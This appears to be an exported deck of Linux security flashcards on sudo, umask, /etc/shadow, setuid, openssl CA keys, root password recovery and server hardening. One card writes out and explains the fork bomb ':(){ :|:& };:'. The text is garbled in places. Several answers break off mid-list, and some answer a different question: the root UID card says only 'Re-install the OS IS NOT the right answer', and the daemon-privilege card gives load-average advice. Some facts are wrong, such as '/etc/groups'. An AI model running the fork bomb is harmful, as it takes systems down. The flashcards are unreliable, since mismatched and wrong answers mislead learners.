* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to recursively change permissions for all directories except files and for all file…]]
* [[How do you change file ownership on Linux?]]
* [[A user accidentally executed the following chmod -x $(which chmod). How to fix it?]]
Q: How do you create a private key for a CA (certificate authority)?
A: One way is using openssl this way:
<html><code>openssl genrsa -aes256 -out ca-private-key.pem 4096</code></html>
Remember: TLS port 443. Chain: Root CA→Intermediate→Server. Let's Encrypt=free, 90-day.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to check whether the private key and the certificate match?]]
Q: How do you create a public key for a CA (certificate authority)?
A: <html><code>openssl req -new -x509 -days 730 -key [private key file name] -sha256 -out ca.pem</code></html>
If using the private key from the previous question then the command would be:
<html><code>openssl req -new -x509 -days 730 -key ca-private-key.pem -sha256 -out ca.pem</code></html>
Remember: TLS port 443. Chain: Root CA→Intermediate→Server. Let's Encrypt=free, 90-day.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to check whether the private key and the certificate match?]]
Q: How to switch to another user? How to switch to the root user?
A: su command.
Use su - to switch to root
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Running the command as root user. It is a good or bad practices?]]
* [[What is the UID the root user? What about a regular user?]]
* [[How do you change/set the password of a user?]]
Q: What is the difference between <html><code>/sbin/nologin</code></html>, <html><code>/bin/false</code></html>, and <html><code>/bin/true</code></html>?
A: When <html><code>/sbin/nologin</code></html> is set as the shell, if user with that shell logs in, they'll get a polite message saying 'This account is currently not available'.
<html><code>/bin/false</code></html> is just a binary that immediately exits, returning false, when it's called, so when someone who has false as shell logs in, they're immediately logged out when false exits.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the difference between a login shell and a non-login shell?]]
* [[AppArmor: path-based MAC on Debian, Ubuntu, and SUSE]]
* [[What is the SHELL variable?]]
Q: What is sudo? How do you set it up?
A: sudo is a command-line utility in Unix-like operating systems that allows users to run programs with the privileges of another user, usually the superuser (root). It stands for "superuser do.
The sudo program is installed by default in almost all Linux distributions. If you need to install sudo in Debian/Ubuntu, use the command apt-get install sudo
Remember: sudo config: <html><code>/etc/sudoers</code></html>. ALWAYS edit with <html><code>visudo</code></html> — validates syntax.
Gotcha: Broken sudoers = locked out. visudo prevents by checking before saving.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Emergency recovery from sudoers syntax errors and prevention]]
* [[What is the correct way to edit the sudoers file?]]
* [[What does "sudo" stand for?]]
Q: What does the sudo command do?
A: It allows a permitted user to execute a command as the superuser (root) or another user, elevating privileges for that command.
Remember: sudo config: <html><code>/etc/sudoers</code></html>. ALWAYS edit with <html><code>visudo</code></html> — validates syntax.
Gotcha: Broken sudoers = locked out. visudo prevents by checking before saving.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the correct way to edit the sudoers file?]]
* [[What is the difference between su and sudo?]]
* [[sudoers syntax: policies, patterns, and visudo safety]]
Q: Explain the differences among the following umask values: 000, 002, 022, 027, 077, and 277.
A: Each umask subtracts permissions from defaults (666 files, 777 dirs).
* 000: files=666 (rw-rw-rw-), dirs=777 (rwxrwxrwx) -- no restrictions
* 002: files=664 (rw-rw-r--), dirs=775 -- others can't write
* 022: files=644 (rw-r--r--), dirs=755 -- only owner writes (common default)
* 027: files=640, dirs=750 -- others get nothing
* 077: files=600, dirs=700 -- only owner has access
* 277: files=400, dirs=500 -- owner can only read
Remember: umask subtracts from 666(files)/777(dirs). 022→644/755. "What to remove."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the `umask` for a secure system?]]
* [[What is umask? How to set it permanently for a user?]]
Q: What can you do if you lost/forgot the root password?
A: Boot into single-user/rescue mode to reset:
GRUB method:
# Reboot, edit GRUB entry (press 'e')
# Find linux line, append: init=/bin/bash (or single)
# Boot (Ctrl+X or F10)
# Remount root: mount -o remount,rw /
# Reset password: passwd root
# Reboot: exec /sbin/init (or reboot -f)
With systemd:
* Append: rd.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Emergency root access recovery via GRUB single-user and cloud recovery]]
* [[What kernel parameter forces a root password reset?]]
* [[Regaining access to a server with lost credentials]]
Q: Where is my password stored on Linux/Unix?
A: The passwords are not stored anywhere on the system at all. What is stored in <html><code>/etc/shadow</code></html> are so called hashes of the passwords.
A hash of some text is created by performing a so called one way function on the text (password), thus creating a string to check against. By design it is "impossible" (computationally infeasible) to reverse that process.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[What are salted hashes? Generate the password with salt for the `/etc/shadow` file.]]
* [[What information is stored in /etc/passwd? explain each field]]
Q: Should the root certificate go on the server?
A: ''Self-signed root certificates'' need not/should not be included in web server configuration. They serve no purpose (clients will always ignore them) and they incur a slight performance (latency) penalty because they increase the size of the SSL handshake.
Remember: TLS port 443. Chain: Root CA→Intermediate→Server. Let's Encrypt=free, 90-day.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you create a private key for a CA (certificate authority)?]]
Q: Running the command as root user. It is a good or bad practices?
A: Running (everything) as root is bad because:
* ''Stupidity'': nothing prevents you from making a careless mistake. If you try to change the system in any potentially harmful way, you need to use sudo, which ensures a pause (while you're entering the password) to ensure that you aren't about to make a mistake.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to switch to another user? How to switch to the root user?]]
* [[What is the UID the root user? What about a regular user?]]
* [[How do you change/set the password of a user?]]
Q: How do you create users? Where user information is stored?
A: Command to create users is <html><code>useradd</code></html>
Syntax:
<html><code>useradd [options] Username</code></html>
There are 2 configuration files, which stores users information
# <html><code>/etc/passwd</code></html> - Users information like, username, shell etc is stored in this file
# <html><code>/etc/shadow</code></html> - Users password is stored in encrypted format
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to add a new user to the system without providing a password?]]
* [[What information is stored in /etc/passwd? explain each field]]
* [[Which file stores users passwords? Is it visible for everyone?]]
Q: How do you change file ownership on Linux?
A: <html><code>chown</code></html> (change owner). Syntax: <html><code>chown user:group file</code></html>. Examples: <html><code>chown alice file.txt</code></html> (change owner), <html><code>chown alice:devs file.txt</code></html> (owner and group), <html><code>chown :devs file.txt</code></html> (group only). Use <html><code>-R</code></html> for recursive: <html><code>chown -R alice:devs /opt/app/</code></html>. Requires root or sudo unless you own the file.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you change file permissions on Linux?]]
* [[How to change the permissions of a file?]]
* [[Running the command as root user. It is a good or bad practices?]]
Q: How do you change the owner of a file in Linux?
A: Using the chown command (e.g., chown user:group filename).
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to change the permissions of a file?]]
* [[How do you change file permissions on Linux?]]
* [[What is the UID the root user? What about a regular user?]]
Q: Which algorithms are supported in <html><code>/etc/shadow</code></html> file?
A: Typical current algorithms are:
* MD5
* SHA-1 (also called SHA)
both should not be used for cryptographic/security purposes any more!!
* SHA-256
* SHA-512
* SHA-3 (KECCAK was announced the winner in the competition for a new federal approved hash algorithm in October 2012)
Remember: /etc/passwd=user info(world-readable). /etc/shadow=hashes(root-only).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the format of /etc/shadow?]]
* [[What are salted hashes? Generate the password with salt for the `/etc/shadow` file.]]
* [[Which file stores users passwords? Is it visible for everyone?]]
Q: Explain what is setgid and setuid
A: * setuid is a linux file permission that permits a user to run a file or program with the permissions of the owner of that file. This is possible by elevation of current user privileges.
* setgid is a process when executed will run as the group that owns the file.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the setuid bit?]]
* [[What is the setgid bit?]]
* [[How kernel permission checks work and when to use capabilities]]
Q: How to add a new user to the system without providing a password?
A: Several methods:
useradd without password:
* useradd -m username (creates user, no password set)
* Account is locked until password set
Set empty password (not recommended):
* passwd -d username (deletes password)
SSH key authentication (recommended):
* useradd -m username
* mkdir /home/username/.ssh
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you create users? Where user information is stored?]]
* [[How to add new user without using `useradd`/`adduser` commands?]]
* [[How do you change/set the password of a user?]]
Q: Do you know how to create a new user without using adduser/useradd command?
A: YES, we can create new user by manually adding an entry in the <html><code>/etc/passwd</code></html> file.
For example, if we need to create a user called <html><code>john</code></html>.
Step 1: Add an entry to <html><code>/etc/passwd</code></html> file, so user gets created.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to add new user without using `useradd`/`adduser` commands?]]
* [[What is the difference between `adduser` and `useradd`?]]
* [[How do you change/set the password of a user?]]
Q: Which way of additionally feeding random entropy pool would you suggest for producing random passwords? How to improve it?
A: You should use <html><code>/dev/urandom</code></html>, not <html><code>/dev/random</code></html>. The two differences between <html><code>/dev/random</code></html> and <html><code>/dev/urandom</code></html> are:
* <html><code>/dev/random</code></html> might be theoretically better //in the context of an information-theoretically secure algorithm//. This is the kind of algorithm which is secure against today's technology, and also tomorrow's technology, and technology used by aliens, and God's own iPad as well.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the difference between /dev/random and /dev/urandom?]]
* [[What is /dev/urandom?]]
Q: How does the sticky bit work? The <html><code>SUID/GUID</code></html> is the same?
A: This is probably one of my most irksome things that people mess up all the time. The ''SUID/GUID'' bit and the ''sticky-bit'' are 2 completely different things.
If you do a <html><code>man chmod</code></html> you can read about the ''SUID'' and ''sticky-bits''.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How does "Sticky Bit" work on a directory?]]
* [[What is the sticky bit?]]
* [[How kernel permission checks work and when to use capabilities]]
Q: What happens when you run :(){ :|:& };: and why is it dangerous?
A: This is a fork bomb - a denial-of-service attack that rapidly exhausts system resources.
Breaking down the syntax:
* <html><code>:()</code></html> - defines a function named ':'
* <html><code>{ :|:& }</code></html> - function body: calls itself, pipes to another copy of itself, runs in background
* <html><code>;:</code></html> - end definition and execute the function
What happens:
# Function calls itself twice (via pipe)
2.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Explain `:(){ :|:& };:` and how stop this code if you are already logged into a system?]]
* [[What does the fork bomb :(){ :|:& };: do and how do you stop it?]]
* [[What does the following block do?:]]
Q: True or False? In order to install packages on the system you must have root privileges.
A: Generally TRUE, but with exceptions:
TRUE because:
* System packages install to protected paths (/usr, /etc)
* Package managers (apt, yum, dnf) require root
Exceptions:
* User-level: pip install --user, npm install, cargo install
* Containerized: Docker/Podman, Flatpak, Snap with user scope
* Rootless: Nix with user profiles, Homebrew
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the UID the root user? What about a regular user?]]
Q: Capabilities vs setuid?
A: setuid grants full root privileges.
Capabilities grant fine-grained privileges (e.g. <html><code>CAP_NET_BIND_SERVICE</code></html>)—least privilege model.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Linux capabilities fragment root privileges into granular units]]
* [[Four Linux access-control systems]]
* [[What are the common Linux capabilities?]]
Q: How do you change/set the password of a user?
A: <html><code>passwd <username></code></html> is the command to set/change password of a user.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to add a new user to the system without providing a password?]]
* [[Running the command as root user. It is a good or bad practices?]]
* [[How do you create users? Where user information is stored?]]
Q: What is the UID the root user? What about a regular user?
A: Re-install the OS IS NOT the right answer :)
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What UID is reserved for root?]]
* [[How to switch to another user? How to switch to the root user?]]
* [[Running the command as root user. It is a good or bad practices?]]
Q: How to run script as another user without password?
A: For example (with <html><code>visudo</code></html> command):
<html><pre><code class="language-bash">user1 ALL=(user2) NOPASSWD: /opt/scripts/bin/generate.sh</code></pre></html>
The command paths must be absolute! Then call <html><code>sudo -u user2 /opt/scripts/bin/generate.sh</code></html> from a user1 shell.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to add a new user to the system without providing a password?]]
* [[Do you know how to create a new user without using adduser/useradd command?]]
Q: What is Kerberos and how does it handle authentication?
A: Kerberos is a network authentication protocol using tickets.
Components:
* KDC (Key Distribution Center): Auth server
* TGT (Ticket Granting Ticket): Initial auth token
* Service tickets: Access specific services
* Principal: User or service identity
How it works:
# User authenticates to KDC, gets TGT
# TGT used to request service tickets
3.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
Q: Other admin trying to debug a server accidentally typed: <html><code>chmod -x /bin/chmod</code></html>. How to reset permissions back to default?
A: <html><pre><code class="language-bash"># 1:
cp /bin/ls chmod.01
cp /bin/chmod chmod.01
./chmod.01 700 file
# 2:
/bin/busybox chmod 0700 /bin/chmod
# 3:
setfacl --set u::rwx,g::---,o::--- /bin/chmod
# 4:
/usr/lib/ld*.so /bin/chmod 0700 /bin/chmod</code></pre></html>
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[chmod -x /bin/chmod was accidentally run. How do you fix it?]]
* [[How do you change file permissions on Linux?]]
* [[Recovering from catastrophic permission damage caused by recursive chmod]]
Q: A user accidentally executed the following chmod -x $(which chmod). How to fix it?
A: Using <html><code>sudo setfacl -m u::rx /usr/bin/chmod</code></html> will set the execute permissions on <html><code>chmod</code></html> for all the users. Post this, the <html><code>chmod</code></html> binary can be used as usual.
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What this command does? chmod +x some_file]]
* [[How to change the permissions of a file?]]
* [[How do you change file permissions on Linux?]]
Q: Ordinary users are able to read <html><code>/etc/passwd</code></html>. Is it a security hole? Do you know other password shadowing scheme?
A: Typically, the //hashed passwords// are stored in <html><code>/etc/shadow</code></html> on most Linux systems:
<html><pre><code class="language-bash">-rw-r----- 1 root shadow 1349 2016-07-03 03:54 /etc/shadow</code></pre></html>
They are stored in <html><code>/etc/master.passwd</code></html> on BSD systems.
Remember: /etc/passwd=user info(world-readable). /etc/shadow=hashes(root-only).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Where is my password stored on Linux/Unix?]]
* [[What is the format of /etc/passwd?]]
* [[Which file stores users passwords? Is it visible for everyone?]]
Q: True or False? It's not possible to have a root user with ID 0 in child user namespaces
A: False. In every child user namespace, it's possible to have a separate root user with uid of 0.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Kernel checks UID 0 for root, not the account name]]
* [[What UID is reserved for root?]]
* [[What is the UID the root user? What about a regular user?]]
Q: Do you have experience with hardening servers? Can you describe the process?
A: Server hardening reduces attack surface and vulnerabilities.
Key areas:
# Updates: Keep system patched
# Users: Disable root login, use sudo, strong passwords
# SSH: Key-only auth, change port, fail2ban
# Firewall: Allow only needed ports
# Services: Disable unnecessary services
# File permissions: Proper ownership, no world-writable
# SELinux/AppArmor: Enable MAC
8.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What are the most common Linux hardening mistakes that undermine security?]]
* [[How do you harden SSH?]]
Q: I have forgotten the root password! What do I do in BSD? What is the purpose of booting into single user mode?
A: Restart the system, type <html><code>boot -s</code></html> at the <html><code>Boot:</code></html> prompt to enter ''single-user mode''.
At the question about the shell to use, hit <html><code>Enter</code></html> which will display a <html><code>#</code></html> prompt.
Enter <html><code>mount -urw /</code></html> to remount the root file system read/write, then run <html><code>mount -a</code></html> to remount all the file systems.
Run <html><code>passwd root</code></html> to change the root password then run <html><code>exit</code></html> to continue booting.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the UID the root user? What about a regular user?]]
* [[How to switch to another user? How to switch to the root user?]]
* [[What kernel parameter forces a root password reset?]]
Q: You run grep $(whoami) /etc/passwd but the output is empty. What might be a possible reason for that?
A: The user you are using isn't defined locally but originates from services like LDAP.
You can verify with: <html><code>getent passwd</code></html>
Remember: /etc/passwd=user info(world-readable). /etc/shadow=hashes(root-only).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
* [[What is the format of /etc/passwd?]]
* [[What information is stored in /etc/passwd? explain each field]]
Q: Which file stores information about groups?
A: <html><code>/etc/groups</code></html> file stores the group name, group ID, usernames which are in secondary group.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the format of /etc/group?]]
* [[Which file stores users passwords? Is it visible for everyone?]]
* [[What command shows your current UID and group memberships?]]
Q: What is umask? How to set it permanently for a user?
A: On Linux and other Unix-like operating systems, new files are created with a default set of permissions. Specifically, a new file's permissions may be restricted in a specific way by applying a permissions "mask" called the <html><code>umask</code></html>. The <html><code>umask</code></html> command is used to set this mask, or to show you its current value.
Permanently change (set e.g. <html><code>umask 02</code></html>):
* <html><code>~/.profile</code></html>
* <html><code>~/.bashrc</code></html>
* <html><code>~/.zshrc</code></html>
* <html><code>~/.cshrc</code></html>
Remember: umask subtracts from 666(files)/777(dirs). 022→644/755. "What to remove."
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the `umask` for a secure system?]]
* [[Explain the differences among the following umask values: 000, 002, 022, 027, 077, and …]]
* [[How do you change file permissions on Linux?]]
Q: What does umask control?
A: The default permission mask for newly created files and directories. umask is subtracted from the maximum permissions (666 for files, 777 for directories) to determine the actual permissions.
Remember: umask subtracts from 666(files)/777(dirs). 022→644/755. "What to remove."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[How kernel permission checks work and when to use capabilities]]
* [[What does chmod 755 filename do?]]
* [[What this command does? chmod +x some_file]]
Q: What is this UID 0 toor account? Have I been compromised?
A: ''toor'' is an alternative superuser account, where toor is root spelled backwards. It is intended to be used with a non-standard shell so the default shell for root does not need to change.
This is important as shells which are not part of the base distribution, but are instead installed from ports or packages, are installed in <html><code>/usr/local/bin</code></html> which, by default, resides on a different file sy
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the UID the root user? What about a regular user?]]
* [[Kernel checks UID 0 for root, not the account name]]
Q: What is the difference between DAC and MAC?
A: Two fundamentally different access control models:
''DAC (Discretionary Access Control)'':
* Traditional Unix permissions (rwx)
* Owner controls access to their objects
* Users can change permissions on their files
* Root bypasses all checks
* Vulnerable to privilege escalation
''MAC (Mandatory Access Control)'':
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Explain what are ACLs. For what use cases would you recommend to use them?]]
* [[Four Linux access-control systems]]
Q: How and why Linux daemons drop privileges? Why some daemons need root permissions to start? Explain.
A: The problem with a load of 1.00 is that you have no headroom. In practice, many sysadmins will draw a line at 0.70.
The "Need to Look into it" Rule of Thumb: 0.70 If your load average is staying above > 0.70, it's time to investigate before things get worse.
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What does the following permissions mean?:]]
Q: How to check whether the private key and the certificate match?
A: <html><pre><code class="language-bash">(openssl rsa -noout -modulus -in private.key | openssl md5 ; openssl x509 -noout -modulus -in certificate.crt | openssl md5) | uniq</code></pre></html>
Remember: TLS port 443. Chain: Root CA→Intermediate→Server. Let's Encrypt=free, 90-day.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you create a public key for a CA (certificate authority)?]]
* [[How do you create a private key for a CA (certificate authority)?]]
Q: What is a superuser or root user? How is it different from regular users?
A: Root (UID 0) is the superuser with unrestricted access.
Root capabilities:
* Access all files regardless of permissions
* Modify any system configuration
* Bind to privileged ports (<1024)
* Load kernel modules
* Mount filesystems
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What is the UID the root user? What about a regular user?]]
* [[What UID is reserved for root?]]
* [[What does "sudo" stand for?]]
Q: Your friend during configuration of the MySQL server asked you: <i>Should I run <html><code>sudo mysql_secure_installation</code></html> after installing mysql?</i> What do you think about it?
A: It would be better if you run command as it provides many security options like:
* You can set a password for root accounts
* You can remove root accounts that are accessible from outside the local host
* You can remove anonymous-user accounts
* You can remove the test database, which by default can be accessed by anonymous users
Remember: sudo config: <html><code>/etc/sudoers</code></html>. ALWAYS edit with <html><code>visudo</code></html> — validates syntax.
Gotcha: Broken sudoers = locked out. visudo prevents by checking before saving.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Running the command as root user. It is a good or bad practices?]]
* [[What is sudo? How do you set it up?]]
Q: What are salted hashes? Generate the password with salt for the <html><code>/etc/shadow</code></html> file.
A: ''Salt'' at its most fundamental level is random data. When a properly protected password system receives a new password, it will create a hashed value for that password, create a new random salt value, and then store that combined value in its database. This helps defend against dictionary attacks and known hash attacks.
Remember: /etc/passwd=user info(world-readable). /etc/shadow=hashes(root-only).
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Where is my password stored on Linux/Unix?]]
* [[Ordinary users are able to read `/etc/passwd`. Is it a security hole? Do you know other…]]
Q: You have configured an RSA key login but your server show <html><code>Server refused our key</code></html> as expected. Where will you look for the cause of the problem?
A: ''Server side''
Setting <html><code>LogLevel VERBOSE</code></html> in file <html><code>/etc/ssh/sshd_config</code></html> is probably what you need, although there are higher levels:
SSH auth failures are logged in <html><code>/var/log/auth.log</code></html>, <html><code>/var/log/secure</code></html> or <html><code>/var/log/audit/audit.log</code></html>.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[SSH key permissions are non-negotiable and security-critical]]
* [[Name five SSH hardening settings you should configure in /etc/ssh/sshd_config.]]
* [[How do you harden SSH?]]
Q: What does execute permission on a directory mean vs on a file?
A: On a file: the file can be run as a program or script.
On a directory: you can traverse (cd into) and access files within it. Without execute on a directory, you cannot list or access its contents even with read permission.
Remember: 4=read, 2=write, 1=execute. 755=rwxr-xr-x. SUID=4000, SGID=2000, sticky=1000.
Gotcha: SUID runs as owner(root). Find: <html><code>find / -perm -4000</code></html>. Security audit must-check.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How to change the permissions of a file?]]
* [[The find -perm flag syntax requires understanding bit-matching semantics]]
Q: What are the three SELinux modes, and how do you check the current mode?
A: Enforcing (policies enforced, violations blocked and logged), Permissive (policies not enforced, violations logged only), Disabled (SELinux completely off). Check with getenforce (quick) or sestatus (detailed). Use setenforce 0/1 to toggle temporarily; edit /etc/selinux/config for persistence.
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[How do you temporarily change SELinux mode?]]
* [[Explain the SELinux context format and how type enforcement works in targeted policy.]]
Q: What are CIS Benchmarks, and what categories do they cover for Linux hardening?
A: CIS (Center for Internet Security) Benchmarks are the gold standard for compliance auditing. Categories include: filesystem configuration, software updates, filesystem integrity (AIDE), boot settings, process hardening (ASLR, core dumps), mandatory access control (SELinux), network configuration, firewall, logging/auditing, PAM/password policies, SSH configuration, and user accounts.
Remember: Security layers: perms, sudo, firewall, SELinux/AppArmor, auditing.
Gotcha: Defense in depth — no single layer is enough.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What are the most common Linux hardening mistakes that undermine security?]]
* [[Name five important sysctl settings for Linux hardening and explain what they do.]]
Q: How do you configure PAM to enforce password complexity and lock accounts after failed login attempts?
A: Password complexity: use pam_pwquality.so with options like minlen=14, dcredit=-1, ucredit=-1, ocredit=-1, lcredit=-1. Account lockout: use pam_faillock.so with deny=5 and unlock_time=900 (lock for 15 minutes after 5 failures). Restrict su to wheel group with pam_wheel.so use_uid in /etc/pam.d/su.
Remember: PAM types: auth, account, password, session. Config: <html><code>/etc/pam.d/</code></html>. "AAPS."
----
''Sources''
